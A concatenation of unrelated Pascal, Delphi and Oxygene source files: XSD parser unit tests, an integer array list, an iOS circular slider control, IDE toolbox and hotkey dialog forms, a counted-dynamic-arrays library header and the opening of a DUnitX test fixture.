Assert.AreEqual(0.0, minExclusive.getValue(), 0);
Assert.IsTrue(minExclusive.isFixed());
Assert.AreEqual(99.0, maxInclusive.getValue(), 0);
Assert.assertFalse(maxInclusive.isFixed());
Assert.AreEqual(1.0, minInclusive.getValue(), 0);
Assert.assertFalse(minInclusive.isFixed());
Assert.AreEqual(2.0, fractionDigits.getValue(), 0);
Assert.IsTrue(fractionDigits.isFixed());
Assert.AreEqual(10.0, totalDigits.getValue(), 0);
Assert.assertFalse(totalDigits.isFixed());
end;
method ResrictionTest.testStringRestrictions;
begin
var restrictedStringOptional := elements
//.stream()
.where(element -> element.getName().equals('restrictedString')).First;
Assert.IsTrue(restrictedStringOptional <> nil);
var restrictionString: XsdElement := restrictedStringOptional;
var complexType: XsdComplexType := restrictionString.getXsdComplexType();
Assert.isNotNil(complexType);
var attributes: List<XsdAttribute> := complexType.getXsdAttributes().toList();
Assert.isNotNil(attributes);
Assert.AreEqual(1, attributes.Count);
var attribute: XsdAttribute := attributes.First;
Assert.AreEqual('restrictedStringAttr', attribute.getName());
var simpleType: XsdSimpleType := attribute.getXsdSimpleType();
Assert.isNotNil(simpleType);
var restriction: XsdRestriction := simpleType.getRestriction();
Assert.isNotNil(restriction);
var xsdLength: XsdLength := restriction.getLength();
var xsdMaxLength: XsdMaxLength := restriction.getMaxLength();
var xsdMinLength: XsdMinLength := restriction.getMinLength();
var xsdPattern: XsdPattern := restriction.getPattern();
var xsdWhiteSpace: XsdWhiteSpace := restriction.getWhiteSpace();
Assert.isNotNil(xsdLength);
Assert.isNotNil(xsdMaxLength);
Assert.isNotNil(xsdMinLength);
Assert.isNotNil(xsdPattern);
Assert.isNotNil(xsdWhiteSpace);
Assert.AreEqual(10.0, xsdLength.getValue(), 0);
Assert.IsTrue(xsdLength.isFixed());
Assert.AreEqual(10.0, xsdLength.getValue(), 0);
Assert.IsTrue(xsdLength.isFixed());
Assert.AreEqual(10.0, xsdLength.getValue(), 0);
Assert.IsTrue(xsdLength.isFixed());
Assert.AreEqual('.*', xsdPattern.getValue());
Assert.IsTrue(xsdWhiteSpace.getValue().ToString = 'preserve');
Assert.AreEqual(xsdWhiteSpace.getValue().ToString, 'preserve');
Assert.assertFalse(xsdWhiteSpace.isFixed());
end;
method ResrictionTest.testAnnotations;
begin
var schema: XsdSchema := schemas.First();
Assert.IsTrue(schema <> nil);
var annotatedTypeOptional: XsdComplexType :=
schema
.getChildrenComplexTypes()
.Where(element -> element.getName().equals('annotatedElement')).First();
Assert.IsTrue(annotatedTypeOptional <> nil);
var annotatedType: XsdComplexType := annotatedTypeOptional;
var annotation: XsdAnnotation := annotatedType.getAnnotation();
Assert.isNotNil(annotation);
var appInfoList: List<XsdAppInfo> := annotation.getAppInfoList();
var documentations: List<XsdDocumentation> := annotation.getDocumentations();
Assert.isNotNil(appInfoList);
Assert.isNotNil(documentations);
Assert.AreEqual(1, appInfoList.Count);
Assert.AreEqual(1, documentations.Count);
var appInfo: XsdAppInfo := appInfoList.First;
var documentation: XsdDocumentation := documentations.First;
Assert.AreEqual('source', appInfo.getSource());
Assert.AreEqual('source', documentation.getSource());
Check.AreEqual(appInfo.getContent(), 'Some text.');
Check.AreEqual(documentation.getContent(), 'Some documentation.');
end;
method ResrictionTest.testList;
begin
var restrictedListOptional: XsdElement :=
elements
//.stream()
.Where(element -> element.getName().equals('restrictedList')).First();
Assert.IsTrue(restrictedListOptional <> nil);
var restrictedListElement: XsdElement := restrictedListOptional;
var simpleType: XsdSimpleType := restrictedListElement.getXsdSimpleType();
Assert.isNotNil(simpleType);
var list: XsdList := simpleType.getList();
Assert.isNotNil(list);
Assert.AreEqual(list.getId(), 'listId');
var listSimpleType: XsdSimpleType := list.getXsdSimpleType();
Assert.isNotNil(listSimpleType);
var listRestrictions: List<XsdRestriction> := listSimpleType.getAllRestrictions();
Assert.AreEqual(1, listRestrictions.Count);
var restriction: XsdRestriction := listRestrictions.First;
Assert.isNotNil(restriction);
var length: XsdLength := restriction.getLength();
var maxLength: XsdMaxLength := restriction.getMaxLength();
Assert.isNotNil(length);
Assert.AreEqual(5.0, length.getValue(), 0);
Assert.AreEqual(5.0, maxLength.getValue(), 0);
end;
method ResrictionTest.testDoubleRestrictions;
begin
var xsdSchemaOptional: XsdSchema := parser.getResultXsdSchemas().First();
Assert.IsTrue(xsdSchemaOptional <> nil);
var xsdSchema: XsdSchema := xsdSchemaOptional;
var simpleTypeObj: XsdSimpleType :=
xsdSchema
.getChildrenSimpleTypes()
.Where(simpleType -> simpleType.getName().equals('IDContatto')).First();
Assert.IsTrue(simpleTypeObj <> nil);
var simpleType: XsdSimpleType := simpleTypeObj;
var restriction: XsdRestriction := simpleType.getRestriction();
Assert.isNotNil(restriction);
var minInclusive: XsdMinInclusive := restriction.getMinInclusive();
var maxInclusive: XsdMaxInclusive := restriction.getMaxInclusive();
Assert.isNotNil(minInclusive);
Assert.isNotNil(maxInclusive);
Assert.AreEqual(minInclusive.getValue(), 99999999999999.0);
Assert.AreEqual(maxInclusive.getValue(),99999999999999.9);
end;
method ResrictionTest.remainingTypesVerification;
begin
var schema: XsdSchema := schemas.First;
var groupOptional: XsdGroup := schema.getChildrenGroups().First();
Assert.IsTrue(groupOptional <> nil);
var &group: XsdGroup := groupOptional;
Assert.AreEqual('randomGroup', &group.getName());
var all: XsdAll := &group.getChildAsAll();
Assert.IsNil(&group.getChildAsChoice());
Assert.isNil(&group.getChildAsSequence());
Assert.isNotNil(all);
var allChildren: List<XsdElement> := all.getChildrenElements().toList();
Assert.AreEqual(1, allChildren.Count);
var element: XsdElement := allChildren.First;
var complexType: XsdComplexType := element.getXsdComplexType();
Assert.isNotNil(complexType);
var simpleContent: XsdSimpleContent := complexType.getSimpleContent();
Assert.isNotNil(simpleContent);
var &extension: XsdExtension := simpleContent.getXsdExtension();
Assert.isNotNil(&extension);
var base: XsdComplexType := &extension.getBaseAsComplexType();
Check.isNotNil(base);
Check.AreEqual(base:getName(),'annotatedElement');
end;
method ResrictionTest.testExtensionBase;
begin
var schema := schemas.First();
Assert.IsTrue(schema <> nil);
var baseTypeExpectedOptional: XsdComplexType :=
schema
.getChildrenComplexTypes()
.Where((xsdComplexType) -> xsdComplexType.getName().equals('baseType')).First();
Assert.IsTrue(baseTypeExpectedOptional <> nil);
var baseTypeExpected: XsdComplexType := baseTypeExpectedOptional;
var root:= elements
//.stream()
.Where((element) -> element.getName().equals('root'))
.First();
Assert.IsTrue(root <> nil);
var extendedType: XsdComplexType := root.getXsdComplexType();
Check.IsNotNil(extendedType);
Check.AreEqual(extendedType:getName, 'extendedType');
var complexContent: XsdComplexContent := extendedType.getComplexContent();
Assert.IsNotNil(complexContent);
var &extension: XsdExtension := complexContent.getXsdExtension();
var baseType: XsdComplexType := &extension.getBaseAsComplexType();
Assert.AreEqual(baseTypeExpected, baseType);
Assert.IsNotNil(&extension);
// Shuld have on1 child the sequenze
Assert.AreEqual(&extension.getElements.Count, 1);
var &sequence := &extension.getChildAsSequence();
Assert.IsNotNil(&sequence);
var element := &sequence.getChildrenElements().First();
Assert.IsTrue(element <> nil);
Assert.AreEqual('additionElement', element.getName());
end;
end. |
unit uArrayListOfInt;
interface
uses uArrayList;
{
Stores ints
}
type _Int = class(TObject)
public
num: integer;
end;
// parser
function TInt(i: integer): _Int;
{
Automatic dynamic int array
}
type ArrayListOfInt = class(ArrayList)
public
procedure add(i: integer); overload;
procedure put(i, index: integer); overload;
function remove(index: integer): integer; overload;
function get(index: integer): integer; overload;
function find(i: integer): integer; overload;
end;
implementation
// _Int
function TInt(i: integer): _Int;
begin
TInt := _Int.Create();
TInt.num := i;
end;
// ArrayListOfInt
procedure ArrayListOfInt.add(i: integer);
begin
inherited add(TInt(i));
end;
// ArrayListOfInt
procedure ArrayListOfInt.put(i, index: integer);
begin
inherited put(TInt(i));
end;
// ArrayListOfInt
function ArrayListOfInt.remove(index: integer): integer;
begin
remove := (inherited remove(index) as _Int).num;
end;
// ArrayListOfInt
function ArrayListOfInt.get(index: integer): integer;
begin
get := (inherited get(index) as _Int).num;
end;
// ArrayListOfInt
function ArrayListOfInt.find(i: integer): integer;
var j: integer;
begin
find := -1;
for j := 0 to len - 1 do
if i = get(j) then begin
find := j;
break;
end;
end;
end.
|
namespace CircularSlider;
interface
// Based on "How to build a custom control in iOS
// by Yari D'areglia (@Yariok), February 2012, 2013.
// http://www.thinkandbuild.it/how-to-build-a-custom-control-in-ios/
// converted to Oxygene in maybe 30 minutes of work (without Oxidizer)
uses
UIKit;
type
[IBObject]
TBCircularSlider = public class(UIControl)
private
fRadius: CGFloat;
fTextField: UITextField;
method ToRad(deg: CGFloat): CGFloat; inline;
method ToDeg(rad: CGFloat): CGFloat; inline;
method SQR(x: CGFloat): CGFloat; inline;
method angleFromNorth(p1, p2: CGPoint; aFlipped: Boolean): CGFloat; inline;
method drawHandle(aContext: CGContextRef);
method moveHandle(aLastPoint: CGPoint);
method pointFromAngle(aAngle: Int32): CGPoint;
protected
public
method initWithFrame(aFrame: CGRect): id; override;
method beginTrackingWithTouch(touch: not nullable UITouch) withEvent(&event: UIEvent): Boolean; override;
method continueTrackingWithTouch(touch: not nullable UITouch) withEvent(&event: UIEvent): Boolean; override;
method endTrackingWithTouch(touch: UITouch) withEvent(&event: UIEvent); override;
method drawRect(rect: CGRect); override;
property angle: Int32;
const
TB_SLIDER_SIZE = 320; //The width and the heigth of the slider
TB_BACKGROUND_WIDTH = 60; //The width of the dark background
TB_LINE_WIDTH = 40; //The width of the active area (the gradient) and the width of the handle
TB_FONTSIZE = 65; //The size of the textfield font
TB_FONTFAMILY = 'Futura-CondensedExtraBold'; //The font family of the textfield font
TB_SAFEAREA_PADDING = 60.0;
end;
implementation
method TBCircularSlider.initWithFrame(aFrame: CGRect): id;
begin
self := inherited initWithFrame(aFrame);
if assigned(self) then begin
opaque := NO;
//Define the circle radius taking into account the safe area
fRadius := frame.size.width/2 - TB_SAFEAREA_PADDING;
//Initialize the Angle at 0
angle := 360;
//Define the Font
var lFont := UIFont.fontWithName(TB_FONTFAMILY) size(TB_FONTSIZE);
//Calculate font size needed to display 3 numbers
var lStr := '000';
var lFontSize := lStr.sizeWithFont(lFont);
//61103: Toffee: Internal error: Unknown type "x"
//Using a TextField area we can easily modify the control to get user input from this field
fTextField := new UITextField withFrame(CGRectMake((frame.size.width - lFontSize.width) /2,
(frame.size.height - lFontSize.height) /2,
lFontSize.width,
lFontSize.height));
fTextField.backgroundColor := UIColor.clearColor;
fTextField.textColor := UIColor.colorWithWhite(1) alpha(0.8);
fTextField.textAlignment := NSTextAlignment.NSTextAlignmentCenter;
fTextField.font := lFont;
fTextField.text := NSString.stringWithFormat('%d',angle);
fTextField.enabled := NO;
addSubview(fTextField);
end;
result := self;
end;
method TBCircularSlider.beginTrackingWithTouch(touch: not nullable UITouch) withEvent(&event: UIEvent): Boolean;
begin
inherited;
//We need to track continuously
result := true;
end;
method TBCircularSlider.continueTrackingWithTouch(touch: not nullable UITouch) withEvent(&event: UIEvent): Boolean;
begin
inherited;
//Get touch location
var lastPoint := touch.locationInView(self);
//Use the location to design the Handle
moveHandle(lastPoint);
//Control value has changed, let's notify that
sendActionsForControlEvents(UIControlEvents.UIControlEventValueChanged);
result := true;
end;
method TBCircularSlider.endTrackingWithTouch(touch: UITouch) withEvent(&event: UIEvent);
begin
inherited;
end;
method TBCircularSlider.drawRect(rect: CGRect);
begin
inherited;
var lContext := UIGraphicsGetCurrentContext();
//* Draw the Background *//
//Create the path
CGContextAddArc(lContext, frame.size.width/2, frame.size.height/2, fRadius, 0, M_PI *2, 0);
//Set the stroke color to black
UIColor.blackColor.setStroke();
//Define line width and cap
CGContextSetLineWidth(lContext, TB_BACKGROUND_WIDTH);
CGContextSetLineCap(lContext, CGLineCap.kCGLineCapButt);
//draw it!
CGContextDrawPath(lContext, CGPathDrawingMode.kCGPathStroke);
//** Draw the circle (using a clipped gradient) **//
//** Create THE MASK Image **//
UIGraphicsBeginImageContext(CGSizeMake(TB_SLIDER_SIZE,TB_SLIDER_SIZE));
var imagelContext := UIGraphicsGetCurrentContext();
CGContextAddArc(imagelContext, frame.size.width/2 , frame.size.height/2, fRadius, 0, ToRad(angle), 0);
UIColor.redColor.set();
//Use shadow to create the Blur effect
CGContextSetShadowWithColor(imagelContext, CGSizeMake(0, 0), angle/20, UIColor.blackColor.CGColor);
//define the path
CGContextSetLineWidth(imagelContext, TB_LINE_WIDTH);
CGContextDrawPath(imagelContext, CGPathDrawingMode.kCGPathStroke);
//save the context content into the image mask
var mask := CGBitmapContextCreateImage(UIGraphicsGetCurrentContext());
UIGraphicsEndImageContext();
//** Clip Context to the mask **//
CGContextSaveGState(lContext);
CGContextClipToMask(lContext, bounds, mask);
CGImageRelease(mask);
//** THE GRADIENT **//
//list of components
var components: array[0..7] of CGFloat := [0.0, 0.0, 1.0, 1.0, // Start color - Blue
1.0, 0.0, 1.0, 1.0]; // End color - Violet
var baseSpace := CGColorSpaceCreateDeviceRGB();
var gradient := CGGradientCreateWithColorComponents(baseSpace, components, nil, 2);
CGColorSpaceRelease(baseSpace);
baseSpace := nil;
//Gradient direction
var startPoint := CGPointMake(CGRectGetMidX(rect), CGRectGetMinY(rect));
var endPoint := CGPointMake(CGRectGetMidX(rect), CGRectGetMaxY(rect));
//Draw the gradient
CGContextDrawLinearGradient(lContext, gradient, startPoint, endPoint, 0);
CGGradientRelease(gradient);
gradient := nil;
CGContextRestoreGState(lContext);
//** Add some light reflection effects on the background circle**//
CGContextSetLineWidth(lContext, 1);
CGContextSetLineCap(lContext, CGLineCap.kCGLineCapRound);
//Draw the outside light
CGContextBeginPath(lContext);
CGContextAddArc(lContext, frame.size.width/2 , frame.size.height/2, fRadius+TB_BACKGROUND_WIDTH/2, 0, ToRad(-angle), 1);
UIColor.colorWithWhite(1.0) alpha(0.05).set();
CGContextDrawPath(lContext, CGPathDrawingMode.kCGPathStroke);
//draw the inner light
CGContextBeginPath(lContext);
CGContextAddArc(lContext, frame.size.width/2 , frame.size.height/2, fRadius-TB_BACKGROUND_WIDTH/2, 0, ToRad(-angle), 1);
UIColor.colorWithWhite(1.0) alpha(0.05).set();
CGContextDrawPath(lContext, CGPathDrawingMode.kCGPathStroke);
//** Draw the handle **//
drawHandle(lContext);
end;
method TBCircularSlider.drawHandle(aContext: CGContextRef);
begin
CGContextSaveGState(aContext);
//I Love shadows
CGContextSetShadowWithColor(aContext, CGSizeMake(0, 0), 3, UIColor.blackColor.CGColor);
//61106: Toffee: Toffee: Internal error: Attempted to read or write protected memory. in CircularSlider project
//Get the handle position
var handleCenter := pointFromAngle(angle);
//Draw It!
UIColor.colorWithWhite(1.0) alpha(0.7).set();
CGContextFillEllipseInRect(aContext, CGRectMake(handleCenter.x, handleCenter.y, TB_LINE_WIDTH, TB_LINE_WIDTH));
CGContextRestoreGState(aContext);
end;
method TBCircularSlider.moveHandle(aLastPoint: CGPoint);
begin
//Get the center
var centerPoint := CGPointMake(frame.size.width/2, frame.size.height/2);
//Calculate the direction from a center point and a arbitrary position.
var currentAngle := angleFromNorth(centerPoint, aLastPoint, NO);
//Message 1 (H11) Local variable "angleFromNorth.8.self" is assigned to but never read Z:\Code\Toffee Tests\CircularSlider\TBCircularSlider.pas 233 23 CircularSlider
var angleInt := floor(currentAngle);
//Store the new angle
angle := 360 - Int32(angleInt);
//Update the textfield
fTextField.text := NSString.stringWithFormat('%d', angle);
//Redraw
setNeedsDisplay();
end;
method TBCircularSlider.pointFromAngle(aAngle: Int32): CGPoint;
begin
//Circle center
var centerPoint := CGPointMake(frame.size.width/2 - TB_LINE_WIDTH/2, frame.size.height/2 - TB_LINE_WIDTH/2);
//The point position on the circumference
result.y := round(centerPoint.y + fRadius * sin(ToRad(-aAngle))) ;
result.x := round(centerPoint.x + fRadius * cos(ToRad(-aAngle)));
end;
method TBCircularSlider.angleFromNorth(p1: CGPoint; p2: CGPoint; aFlipped: Boolean): CGFloat;
begin
var v := CGPointMake(p2.x-p1.x,p2.y-p1.y);
var vmag := sqrt(SQR(v.x) + SQR(v.y));
v.x := v.x / vmag;
v.y := v.y / vmag;
var radians := atan2(v.y,v.x);
result := ToDeg(radians);
if result < 0 then result := result + 360.0;
end;
method TBCircularSlider.ToRad(deg: CGFloat): CGFloat;
begin
result := ( (M_PI * (deg)) / 180.0 )
end;
method TBCircularSlider.ToDeg(rad: CGFloat): CGFloat;
begin
result := ( (180.0 * (rad)) / M_PI )
end;
method TBCircularSlider.SQR(x: CGFloat): CGFloat;
begin
result := ( (x) * (x) );
end;
end.
|
unit ideSHToolboxFrm;
interface
uses
SHDesignIntf, ideSHDesignIntf,
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Contnrs, pSHNetscapeSplitter;
type
TToolboxForm = class(TSHComponentForm, IideSHToolbox)
Panel1: TPanel;
pSHNetscapeSplitter1: TpSHNetscapeSplitter;
Panel2: TPanel;
procedure pSHNetscapeSplitter1Moved(Sender: TObject);
private
{ Private declarations }
FPalette: TForm;
FInspList: TObjectList;
FInspector: TForm;
public
{ Public declarations }
constructor Create(AOwner: TComponent; AParent: TWinControl;
AComponent: TSHComponent; ACallString: string); override;
destructor Destroy; override;
procedure ReloadComponents;
procedure InvalidateComponents;
procedure SetToolboxPosition(ToBottom: Boolean);
procedure _InspCreateForm(AComponent: TSHComponent);
function _InspFindForm(AComponent: TSHComponent): TSHComponentForm;
procedure _InspDestroyForm(AComponent: TSHComponent);
procedure _InspHideForm(AComponent: TSHComponent);
procedure _InspShowForm(AComponent: TSHComponent);
procedure _InspRefreshForm(AComponent: TSHComponent);
procedure _InspPrepareForm(AComponent: TSHComponent);
procedure _InspAddAction(AAction: TSHAction);
procedure _InspUpdateNodes;
end;
var
ToolboxForm: TToolboxForm;
implementation
uses
ideSHConsts, ideSHSystem, ideSHSysUtils,
ideSHComponentPageFrm,
ideSHObjectInspectorFrm;
{$R *.dfm}
{ TToolboxForm }
constructor TToolboxForm.Create(AOwner: TComponent; AParent: TWinControl;
AComponent: TSHComponent; ACallString: string);
begin
inherited Create(AOwner, AParent, AComponent, ACallString);
FPalette := TComponentPageForm.Create(Panel1, Panel1, Component, EmptyStr);
FPalette.Visible := True;
FInspList := TObjectList.Create;
if Assigned(SystemOptionsIntf) then Panel2.Height := SystemOptionsIntf.IDE2Height;
end;
destructor TToolboxForm.Destroy;
begin
FPalette.Free;
FInspector := nil;
FInspList.Free;
inherited Destroy;
end;
procedure TToolboxForm.ReloadComponents;
begin
if Assigned(FPalette) then TComponentPageForm(FPalette).ReloadComponents;
end;
procedure TToolboxForm.InvalidateComponents;
begin
if Assigned(FPalette) then TComponentPageForm(FPalette).Tree.Invalidate;
end;
procedure TToolboxForm.SetToolboxPosition(ToBottom: Boolean);
begin
if ToBottom then
begin
pSHNetscapeSplitter1.Align := alNone;
Panel2.Align := alBottom;
Panel2.TabOrder := 1;
pSHNetscapeSplitter1.Align := alBottom;
Panel1.Align := alClient;
Panel1.TabOrder := 0;
end else
begin
pSHNetscapeSplitter1.Align := alNone;
Panel2.Align := alTop;
Panel2.TabOrder := 0;
pSHNetscapeSplitter1.Align := alTop;
Panel1.Align := alClient;
Panel1.TabOrder := 1;
end;
end;
procedure TToolboxForm._InspCreateForm(AComponent: TSHComponent);
begin
FInspList.Add(TObjectInspectorForm.Create(Panel2, Panel2, AComponent, EmptyStr));
if FInspList.Count > 0 then Panel2.BevelInner := bvNone;
end;
function TToolboxForm._InspFindForm(AComponent: TSHComponent): TSHComponentForm;
var
I: Integer;
begin
Result := nil;
for I := 0 to Pred(FInspList.Count) do
begin
if TSHComponentForm(FInspList[I]).Component = AComponent then
begin
Result := TSHComponentForm(FInspList[I]);
Break;
end;
end;
end;
procedure TToolboxForm._InspDestroyForm(AComponent: TSHComponent);
var
Form: TForm;
begin
Form := _InspFindForm(AComponent);
if Assigned(Form) then
begin
FInspector := nil;
FInspList.Remove(Form);
if FInspList.Count = 0 then Panel2.BevelInner := bvLowered;
end;
end;
procedure TToolboxForm._InspHideForm(AComponent: TSHComponent);
var
Form: TForm;
begin
Form := _InspFindForm(AComponent);
if Assigned(Form) then Form.Hide;
end;
procedure TToolboxForm._InspShowForm(AComponent: TSHComponent);
var
Form: TForm;
I: Integer;
WindowLocked: Boolean;
begin
Form := _InspFindForm(AComponent);
if Assigned(Form) then
begin
WindowLocked := LockWindowUpdate(GetDesktopWindow);
try
FInspector := Form;
Form.Show;
for I := 0 to Pred(FInspList.Count) do
if TSHComponentForm(FInspList[I]).Component <> AComponent then
TSHComponentForm(FInspList[I]).Hide;
finally
if WindowLocked then LockWindowUpdate(0);
end;
end;
end;
procedure TToolboxForm._InspRefreshForm(AComponent: TSHComponent);
begin
end;
procedure TToolboxForm._InspPrepareForm(AComponent: TSHComponent);
begin
end;
procedure TToolboxForm._InspAddAction(AAction: TSHAction);
begin
if Assigned(FInspector) then
TObjectInspectorForm(FInspector).AddAction(AAction);
end;
procedure TToolboxForm._InspUpdateNodes;
begin
if Assigned(FInspector) then
TObjectInspectorForm(FInspector).UpdateNodes;
end;
procedure TToolboxForm.pSHNetscapeSplitter1Moved(Sender: TObject);
begin
if Assigned(SystemOptionsIntf) then SystemOptionsIntf.IDE2Height := Panel2.Height;
end;
end.
|
unit uShortCut_AE;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, cxContainer, cxEdit, cxTextEdit,
StdCtrls, cxControls, cxGroupBox, cxButtons, uConsts, Menus,
ibase, cxMaskEdit, cxButtonEdit, cxCheckBox, ComCtrls;
type
TfrmShortCut_AE = class(TForm)
OkButton: TcxButton;
CancelButton: TcxButton;
cxGroupBox1: TcxGroupBox;
NameLabel: TLabel;
Name_Edit: THotKey;
procedure OkButtonClick(Sender: TObject);
procedure CancelButtonClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
private
PLanguageIndex : byte;
procedure FormIniLanguage();
public
ID_NAME : int64;
DB_Handle : TISC_DB_HANDLE;
constructor Create(AOwner:TComponent; LanguageIndex : byte);reintroduce;
end;
implementation
{$R *.dfm}
constructor TfrmShortCut_AE.Create(AOwner:TComponent; LanguageIndex : byte);
begin
Screen.Cursor:=crHourGlass;
inherited Create(AOwner);
PLanguageIndex:= LanguageIndex;
FormIniLanguage();
Screen.Cursor:=crDefault;
end;
procedure TfrmShortCut_AE.FormIniLanguage;
begin
NameLabel.caption:= uConsts.bs_FullName[PLanguageIndex];
OkButton.Caption:= uConsts.bs_Accept[PLanguageIndex];
CancelButton.Caption:= uConsts.bs_Cancel[PLanguageIndex];
end;
procedure TfrmShortCut_AE.OkButtonClick(Sender: TObject);
begin
If (name_edit.hotkey = Ord(0)) then
begin
ShowMessage('Необхідно заповнити усі поля!');
exit;
end;
ModalResult := mrOk;
end;
procedure TfrmShortCut_AE.CancelButtonClick(Sender: TObject);
begin
close;
end;
procedure TfrmShortCut_AE.FormShow(Sender: TObject);
begin
Name_Edit.SetFocus;
end;
procedure TfrmShortCut_AE.FormKeyPress(Sender: TObject; var Key: Char);
begin
if Key = #27 then
Begin
Name_Edit.InvalidKeys := [];
Name_Edit.Modifiers := [];
Name_Edit.HotKey := ord(27);
end;
if Key = #13 then
Begin
Name_Edit.InvalidKeys := [];
Name_Edit.Modifiers := [];
Name_Edit.HotKey := ord(13);
end;
end;
end.
|
unit USpecific;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, ExtCtrls;
type
TfmSpecific = class(TForm)
Panel1: TPanel;
Panel2: TPanel;
btOk: TBitBtn;
BitBtn2: TBitBtn;
Panel3: TPanel;
GroupBox1: TGroupBox;
rbNewValue: TRadioButton;
rbOldValue: TRadioButton;
rbType: TRadioButton;
rbAddress: TRadioButton;
edValue: TEdit;
Label1: TLabel;
rbHint: TRadioButton;
GroupBox2: TGroupBox;
rbRemove: TRadioButton;
rbSelect: TRadioButton;
rbCheck: TRadioButton;
rbChange: TRadioButton;
edChange: TEdit;
procedure btOkClick(Sender: TObject);
procedure rbChangeClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
fmSpecific: TfmSpecific;
implementation
{$R *.DFM}
procedure TfmSpecific.btOkClick(Sender: TObject);
begin
if not rbChange.Checked then
if trim(edValue.Text)='' then begin
ShowMessage('Input Value !');
edValue.SetFocus;
exit;
end;
ModalResult:=mrOk;
end;
procedure TfmSpecific.rbChangeClick(Sender: TObject);
begin
edChange.Enabled:=rbChange.Checked;
if edChange.Enabled then edChange.Color:=clWindow
else edChange.Color:=clBtnFace;
end;
end.
|
{-------------------------------------------------------------------------------
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
-------------------------------------------------------------------------------}
{===============================================================================
Counted Dynamic Arrays
Basic types and constants
This library is designed to ease work with dynamic arrays and also slightly
optimize reallocation of the array.
The array itself is hidden in a record that must be considered opaque,
but is in fact completely accessible so the compiler can work around it.
To allow growing and shrinking optimizations, count of the items inside an
array is separated from the actual array and its length/capacity (hence
the name counted dynamic arrays).
WARNING - It is strictly prohibited to directly access fields of the
underlying record, use only the provided functions to do so.
Standard functions like Length, SetLength or Copy are implemented along with
many more functions that allow accessing the array in a way similar to
accessing a list object (Add, Remove, IndexOf, Sort, ...). All implemented
functions have CDA_ prefix (e.g CDA_Length).
This library comes with preimplemented arrays for several basic types
(integers, floats, strings, ...), but is designed so the codebase can be
used with minor or no modifications for any other type (including, but not
limited to, structured types like records or arrays) - it uses templates
and type aliases as a kind of generics.
Arrays of following types are implemented in current version of this
library:
Boolean CountedDynArrayBool.pas
Int8 CountedDynArrayInt8.pas
UInt8 CountedDynArrayUInt8.pas
Int16 CountedDynArrayInt16.pas
UInt16 CountedDynArrayUInt16.pas
Int32 CountedDynArrayInt32.pas
UInt32 CountedDynArrayUInt32.pas
Int64 CountedDynArrayInt64.pas
UInt64 CountedDynArrayUInt64.pas
PtrInt CountedDynArrayPtrInt.pas
PtrUInt CountedDynArrayPtrUInt.pas
Integer CountedDynArrayInteger.pas
Float32 CountedDynArrayFloat32.pas
Float64 CountedDynArrayFloat64.pas
TDateTime CountedDynArrayDateTime.pas
Currency CountedDynArrayCurrency.pas
Pointer CountedDynArrayPointer.pas
TObject CountedDynArrayTObject.pas
AnsiChar CountedDynArrayAnsiChar.pas
UTF8Char CountedDynArrayUTF8Char.pas
WideChar CountedDynArrayWideChar.pas
UnicodeChar CountedDynArrayUnicodeChar.pas
Char CountedDynArrayChar.pas
ShortString CountedDynArrayShortString.pas
AnsiString CountedDynArrayAnsiString.pas
UTF8String CountedDynArrayUTF8String.pas
WideString CountedDynArrayWideString.pas
UnicodeString CountedDynArrayUnicodeString.pas
String CountedDynArrayString.pas
Variant CountedDynArrayVariant.pas
Note that given the method used (template with type alias), there is a limit
of one array type per *.pas file.
For help with implementing a counted dynamic array for any type, please
refer to already implemented arrays or contact the author.
Version 1.2.1 (2019-08-19)
Last changed 2019-08-19
©2018-2019 František Milt
Contacts:
František Milt: frantisek.milt@gmail.com
Support:
If you find this code useful, please consider supporting its author(s) by
making a small donation using the following link(s):
https://www.paypal.me/FMilt
Changelog:
For detailed changelog and history please refer to this git repository:
github.com/TheLazyTomcat/Lib.AuxClasses
Dependencies:
AuxTypes - github.com/TheLazyTomcat/Lib.AuxTypes
AuxClasses - github.com/TheLazyTomcat/Lib.AuxClasses
ListSorters - github.com/TheLazyTomcat/Lib.ListSorters
StrRect - github.com/TheLazyTomcat/Lib.StrRect
===============================================================================}
unit CountedDynArrays;
{$INCLUDE '.\CountedDynArrays_defs.inc'}
interface
uses
AuxTypes;
type
TCDASignature = PtrUInt;
TCDAChecksum = PtrUInt;
TCDAIndexArray = array of Integer;
PCDAIndexArray = ^TCDAIndexArray;
{$IF SizeOf(TCDAIndexArray) <> SizeOf(Pointer)}
{$MESSAGE Fatal 'Incompatible implementation detail.'}
{$IFEND}
{
Array is only grown if current count + DeltaMin is larger than current capacity.
agmSlow - grow by 1
agmLinear - grow by GrowFactor (integer part of the float)
agmFast - grow by capacity * GrowFactor
agmFastAttenuated - if capacity is below DYNARRAY_GROW_ATTENUATE_THRESHOLD,
then grow by capacity * GrowFactor
- if capacity is above or equal to DYNARRAY_GROW_ATTENUATE_THRESHOLD,
grow by 1/16 * DYNARRAY_GROW_ATTENUATE_THRESHOLD
If mode is other than agmSlow and current capacity is 0, then new capacity is
set to DYNARRAY_INITIAL_CAPACITY, irrespective of selected grow mode.
}
TCDAGrowMode = (agmSlow, agmLinear, agmFast, agmFastAttenuated);
{
asmKeepCap - array is not shrinked, capacity is preserved
asmNormal - if capacity is above DYNARRAY_INITIAL_CAPACITY and count is below capacity div 4,
then capacity is set to capacity div 4, otherwise capacity is preserved
- if capacity is below or equal to DYNARRAY_INITIAL_CAPACITY, then the array
is not shinked unless the count is 0, in which case the new capacity is set to 0
asmToCount - capacity is set to count
}
TCDAShrinkMode = (asmKeepCap, asmNormal, asmToCount);
const
CDA_INITIAL_CAPACITY = 16;
CDA_GROW_ATTENUATE_THRESHOLD = 16 * 1024 * 1024;
implementation
initialization
System.Randomize; // required for signature initialization
end.
|
unit TesteSGA.Main;
interface
uses
DUnitX.TestFramework;
type
[TestFixture]
TTesteSGA = class
public
[Setup]
procedure Setup;
[TearDown]
procedure TearDown;
// Sample Methods
// Simple single Test
[Test]
procedure Test1;
// Test with TestCase Attribute to supply parameters.
[Test]
[TestCase('TestA','1,2')]
[TestCase('TestB','3,4')]
